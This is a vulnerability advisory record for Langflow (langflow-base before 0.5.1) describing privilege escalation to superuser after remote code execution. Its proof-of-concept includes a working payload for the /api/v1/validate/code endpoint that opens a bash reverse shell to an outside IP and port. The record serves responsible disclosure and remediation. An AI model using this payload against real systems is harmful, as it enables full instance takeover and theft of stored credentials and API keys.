{"id":"PYSEC-2026-1526","summary":"Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation (Post-RCE)","details":"This vulnerability was discovered by researchers at **Check Point**. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.\n\n### Summary\nA privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command **langflow superuser** to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.\n\n### Details\nLangflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:\n\n`langflow superuser`\n\nThis command allows creation of a new superuser without checking whether one already exists. \n\nWhen combined with code execution (e.g., via the authenticated **/api/v1/validate/code** endpoint), a low-privileged user can execute:\n\n`/app/.venv/bin/langflow superuser`\n\ninside the container, and elevate themselves to full superuser privileges.\n\nThis effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.\n\n### PoC\n1. Start container with LANGFLOW_ENABLE_AUTH set to True.\n2. Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)\n\n\u003cimg width=\"1311\" height=\"627\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9b75bdc3-31ea-48c0-9e84-c2b168f404b3\" /\u003e\n\n3. Exploit /api/v1/validate/code to get reverse shell\n\nSend an authenticated POST request:\n\n```\n{\n  \"code\": \"def foo(p=__import__('os').system(\\\"bash -c 'bash -i \u003e& /dev/tcp/192.168.1.22/4444 0\u003e&1'\\\")):\\n    pass\"\n}\n```\n\n4. Inside reverse shell, create superuser:\n\n\n\u003cimg width=\"731\" height=\"217\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cb8497c6-0d61-414e-afe2-69bbbaf55cbc\" /\u003e\n\n\n5. Log into UI as new superuser:\n\n\u003cimg width=\"1262\" height=\"532\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1f0a713d-3d61-4aa4-a25b-58f4b58c061b\" /\u003e\n\n\n### Impact\n\n- Privilege escalation to superuser — complete takeover of the Langflow instance\n- Access to all user data, flows, stored credentials, and configuration\n- Credential leakage — attacker can extract third-party API keys \n- Exposure of environment variables (inside docker container)\n- Ability to run additional Langflow instances via `langflow run` inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation.\n- Full user management — superuser can delete other users, reset their passwords","aliases":["CVE-2025-57760","GHSA-4gv9-mp8m-592r","PYSEC-2025-243"],"modified":"2026-07-13T07:26:37.090137812Z","published":"2026-07-07T16:03:01.786985Z","references":[{"type":"WEB","url":"https://github.com/langflow-ai/langflow/security/advisories/GHSA-4gv9-mp8m-592r"},{"type":"WEB","url":"https://github.com/langflow-ai/langflow/pull/9152"},{"type":"WEB","url":"https://github.com/langflow-ai/langflow/commit/c188ec113c9ca46154ad01d0eded1754cc6bef97"},{"type":"PACKAGE","url":"https://github.com/langflow-ai/langflow"},{"type":"PACKAGE","url":"https://pypi.org/project/langflow-base"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-4gv9-mp8m-592r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-57760"}],"affected":[{"package":{"name":"langflow-base","ecosystem":"PyPI","purl":"pkg:pypi/langflow-base"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.1"}]}],"versions":["0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.50","0.0.51","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.59","0.0.60","0.0.61","0.0.62","0.0.63","0.0.64","0.0.66","0.0.67","0.0.68","0.0.69","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.75","0.0.76","0.0.77","0.0.78","0.0.79","0.0.80","0.0.81","0.0.82","0.0.83","0.0.84","0.0.85","0.0.86","0.0.87","0.0.88","0.0.89","0.0.90","0.0.91","0.0.92","0.0.93","0.0.94","0.0.95","0.0.96","0.0.97","0.0.98","0.0.99","0.1.0","0.1.1","0.1.2","0.1.3","0.1.4","0.1.4.post1","0.2.0","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.4.0","0.4.1","0.4.2","0.4.3","0.5.0","0.5.0.post1","0.5.0.post2"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/langflow-base/PYSEC-2026-1526.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}